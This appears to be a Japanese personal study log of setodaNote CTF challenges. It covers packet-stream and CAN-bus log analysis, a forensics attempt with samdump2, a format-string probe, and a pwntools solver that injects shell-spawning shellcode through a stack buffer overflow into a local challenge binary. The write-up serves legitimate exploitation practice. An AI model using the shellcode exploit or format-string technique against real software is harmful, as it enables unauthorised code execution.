setodaNote CTFの出来なかった問題を勉強した記録


Network

stay_in_touch

Export Objects でうまくいかなかったので,断念してしまった。

1217パケットくらい先頭から末尾まで全部詳細に見ないと。
根気が足りない。
反省しなければ。
ということで,TCPストリームを追っかければ,すぐに答えにたどり着いた。
Stream 12

Stream 14

yes_you_can

#より右だけ検索できるようにデータを加工しておかないと話にならん

CAN ID とデータを区切っている#を半角スペースに

まず,CAN ID の使用頻度から

$ cat dump.log_kai | cut -d " " -f 3 | sort | uniq -c | sort -n -r
   4828 095
   4827 191
   4827 18E
   4827 183
   4827 17C
   4827 166
   4827 164
   4827 161
   4827 158
   4827 143
   4827 13F
   4827 13A
   4827 136
   4827 133
   3387 244
   3183 039
   2414 1A4
   2413 1DC
   2413 1CF
   2399 1D0
   2399 1B0
   2399 1AA
   1200 294
   1200 21E
    489 37C
    489 324
    489 320
    489 309
    474 333
    459 305
    163 454
    163 428
    163 40C
    163 405
     96 188
     44 5A1

極端に多いのと少ないのを見てもダメ

次にデータの種類を見る

$ awk '{print $3,$4}' dump.log_kai | sort -k 1,2 | uniq -c
    800 039 000C
    799 039 001B
    799 039 002A
    785 039 0039
   1050 095 800007F400000008
   1066 095 800007F400000017
   1052 095 800007F400000026
   1050 095 800007F400000035
    164 095 800007F800000004
    149 095 800007F800000013
    148 095 800007F800000022
    149 095 800007F800000031
   1199 133 0000000089
   1214 133 0000000098
   1214 133 00000000A7
   1200 133 00000000B6
(略)

これを全部眺めると

      5 244 0000000100
      9 244 0000000101
      9 244 0000000102
     10 244 0000000103
      7 244 0000000104
      8 244 0000000105
      3 244 0000000106
      6 244 0000000107
      6 244 0000000108
      6 244 0000000109
      1 244 000000010A
      7 244 000000010B
      5 244 000000010C
     13 244 000000010D
      8 244 000000010E
      2 244 000000010F
      5 244 0000000110
     11 244 0000000111
     12 244 0000000112
     10 244 0000000113
      6 244 0000000114
     10 244 0000000115
      4 244 0000000116
      8 244 0000000117
      9 244 0000000118
      8 244 0000000119
      8 244 000000011A
      6 244 000000011B
      9 244 000000011C
      4 244 000000011D
      4 244 000000011E
      4 244 000000011F
      5 244 0000000120
      6 244 0000000121
      8 244 0000000122
      2 244 0000000123
      9 244 0000000124
      4 244 0000000125
     13 244 0000000126
      7 244 0000000127
     10 244 0000000128
      4 244 0000000129
     10 244 000000012A
      9 244 000000012B
      3 244 000000012C
      6 244 000000012D
      7 244 000000012E
      4 244 000000012F
      4 244 0000000130
      9 244 0000000131
     12 244 0000000132
      8 244 0000000133
     10 244 0000000134
      4 244 0000000135
     13 244 0000000136
      5 244 0000000137
     14 244 0000000138
      8 244 0000000139
      7 244 000000013A
      7 244 000000013B
      2 244 000000013C
      7 244 000000013D
     10 244 000000013E
      8 244 000000013F
      6 244 0000000140
      1 244 0000000141
     11 244 0000000142
      5 244 0000000143
      6 244 0000000144
      7 244 0000000145
     10 244 0000000146
     13 244 0000000147
      6 244 0000000148
      6 244 0000000149
     12 244 000000014A
     11 244 000000014B
     11 244 000000014C
      6 244 000000014D
      7 244 000000014E
      7 244 000000014F
      6 244 0000000150
      6 244 0000000151
      9 244 0000000152
      9 244 0000000153
      9 244 0000000154
      8 244 0000000155
      7 244 0000000156
      9 244 0000000157
      3 244 0000000158
     14 244 0000000159
      7 244 000000015A
      7 244 000000015B
      1 244 000000015C
     10 244 000000015D
     10 244 000000015E
     11 244 000000015F
     10 244 0000000160
     10 244 0000000161
      3 244 0000000162
      9 244 0000000164
      9 244 0000000165
     12 244 0000000166
      7 244 0000000167
      6 244 0000000168
      6 244 0000000169
      6 244 000000016A
      5 244 000000016B
      4 244 000000016C
      4 244 000000016D
      4 244 000000016E
      5 244 000000016F
      7 244 0000000170
      9 244 0000000171
     13 244 0000000172
      8 244 0000000173
      9 244 0000000174
     10 244 0000000175
      7 244 0000000176
      7 244 0000000177
      9 244 0000000178
     10 244 0000000179
      6 244 000000017A
      7 244 000000017B
      3 244 000000017C
      9 244 000000017D
      6 244 000000017E
      6 244 000000017F
      9 244 0000000180
     13 244 0000000181
      4 244 0000000182
      5 244 0000000183
      6 244 0000000184
      2 244 0000000185
      9 244 0000000186
     12 244 0000000187
     12 244 0000000188
      8 244 0000000189
      9 244 000000018A
      9 244 000000018B
      7 244 000000018C
      8 244 000000018D
     12 244 000000018E
      5 244 000000018F
      5 244 0000000190
     15 244 0000000191
     12 244 0000000192
      7 244 0000000193
      7 244 0000000194
      4 244 0000000195
      5 244 0000000196
      9 244 0000000197
      4 244 0000000198
      8 244 0000000199
      9 244 000000019A
      7 244 000000019B
     11 244 000000019C
      3 244 000000019D
      8 244 000000019E
     14 244 000000019F
      6 244 00000001A0
      4 244 00000001A1
      7 244 00000001A2
      8 244 00000001A3
      5 244 00000001A4
      3 244 00000001A5
      6 244 00000001A6
      2 244 00000001A7
      7 244 00000001A8
      9 244 00000001A9
     10 244 00000001AA
      8 244 00000001AB
      9 244 00000001AC
      6 244 00000001AD
      6 244 00000001AE
     12 244 00000001AF
     11 244 00000001B0
     11 244 00000001B1
      8 244 00000001B2
     11 244 00000001B3
      3 244 00000001B4
      5 244 00000001B5
     10 244 00000001B6
     10 244 00000001B7
      5 244 00000001B8
     11 244 00000001B9
      7 244 00000001BA
     11 244 00000001BB
      4 244 00000001BC
     10 244 00000001BD
      9 244 00000001BE
      3 244 00000001BF
      7 244 00000001C0
      8 244 00000001C1
      3 244 00000001C2
      9 244 00000001C3
      9 244 00000001C4
      9 244 00000001C5
     11 244 00000001C6
      7 244 00000001C7
      5 244 00000001C8
      7 244 00000001C9
      9 244 00000001CA
      7 244 00000001CB
      4 244 00000001CC
      6 244 00000001CD
      6 244 00000001CE
      8 244 00000001CF
      3 244 00000001D0
     13 244 00000001D1
      5 244 00000001D2
      8 244 00000001D3
     13 244 00000001D4
     12 244 00000001D5
      8 244 00000001D6
      4 244 00000001D7
      6 244 00000001D8
      5 244 00000001D9
      7 244 00000001DA
      7 244 00000001DB
     10 244 00000001DC
     12 244 00000001DD
      1 244 00000001DE
      8 244 00000001DF
      7 244 00000001E0
      5 244 00000001E1
      8 244 00000001E2
     12 244 00000001E3
      8 244 00000001E4
      7 244 00000001E5
      9 244 00000001E6
      6 244 00000001E7
      5 244 00000001E8
     11 244 00000001E9
      6 244 00000001EA
      4 244 00000001EB
      8 244 00000001EC
      9 244 00000001ED
      6 244 00000001EE
      9 244 00000001EF
      6 244 00000001F0
     12 244 00000001F1
      6 244 00000001F2
      5 244 00000001F3
      7 244 00000001F4
     10 244 00000001F5
      8 244 00000001F6
      5 244 00000001F7
      8 244 00000001F8
     12 244 00000001F9
     12 244 00000001FA
      7 244 00000001FB
      3 244 00000001FC
      8 244 00000001FD
      4 244 00000001FE
     10 244 00000001FF
    142 244 0000005F00
    209 244 0000006100
     72 244 0000006200
    143 244 0000006300
     70 244 0000006600
    141 244 0000006700
     69 244 0000006800
     70 244 0000006900
     71 244 0000006C00
    139 244 0000006E00
     70 244 0000006b00
     70 244 0000007300
     69 244 0000007500
     71 244 0000007B00
     71 244 0000007D00

CAN ID = 244 のデータに作為を感じる

$ grep -E "244 000000..00" dump.log_kai | awk '{print $3,$4}' | uniq
244 0000000100
244 0000006600
244 0000006C00
244 0000006100
244 0000006700
244 0000007B00
244 0000006300
244 0000006100
244 0000006E00
244 0000005F00
244 0000006200
244 0000007500
244 0000007300
244 0000005F00
244 0000006800
244 0000006100
244 0000006300
244 0000006b00
244 0000006900
244 0000006E00
244 0000006700
244 0000007D00
244 0000000100
16進 ascii
66 f
6c l
61 a
67 g
7B {

Forensics

CSIRT_asks_you_02

samdump2を使ってやってみたが,答えにたどり着ける状況ではなかったようだ。

工事中(mimikatzのVMが壊れて動かん。)

pwn

1898

AAA,%x,%x,%x,%x,%x,%x,

を入力すると

となるので,スタックの4番目にローカル変数が確保されていることがわかる。

4番目に 0x56656060 を入れて %4$s をすればいいみたいだけど,プログラム組まないとアドレスの入力ができない。

Linuxターミナルが,ほぼ1トライでセッションが切れてログインし直しになるので,やる気なくした。

Shellcode

解けた問題だが,前記の理由でpwnをやめてしまった。

セキュリティ

動かした状況

target | [0x7fffffffe3e0]
って何?

main関数

メイン関数のリターンアドレス

0x00007ffff7a03bf7

Aの数(0x00007ffff7a03bf7まで数える)

8*11だ

target | [0x7fffffffe3e0]
って何?


RSPだ

作戦
rspからネットで拾ってきたshellcodeを埋める
(8*11) - len(shellcode) の先にmain関数のリターンアドレスがあるので,rspに書き換える
rspのアドレスはtargetとしてリーク済み

solver.py
# coding: UTF-8
from pwn import *
import pwn 
import binascii

context.arch = "amd64"

#io = pwn.remote("10.1.1.10", 13050)
io = pwn.process("./shellcode")

io.readuntil("0x")
leak = int(io.read(12), 16)

# http://shell-storm.org/shellcode/files/shellcode-806.php
payload = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = payload.ljust(8*11) + pack(leak)
print(binascii.hexlify(payload))
io.sendlineafter("> ", payload)

io.interactive()

刺さった!

参考サイト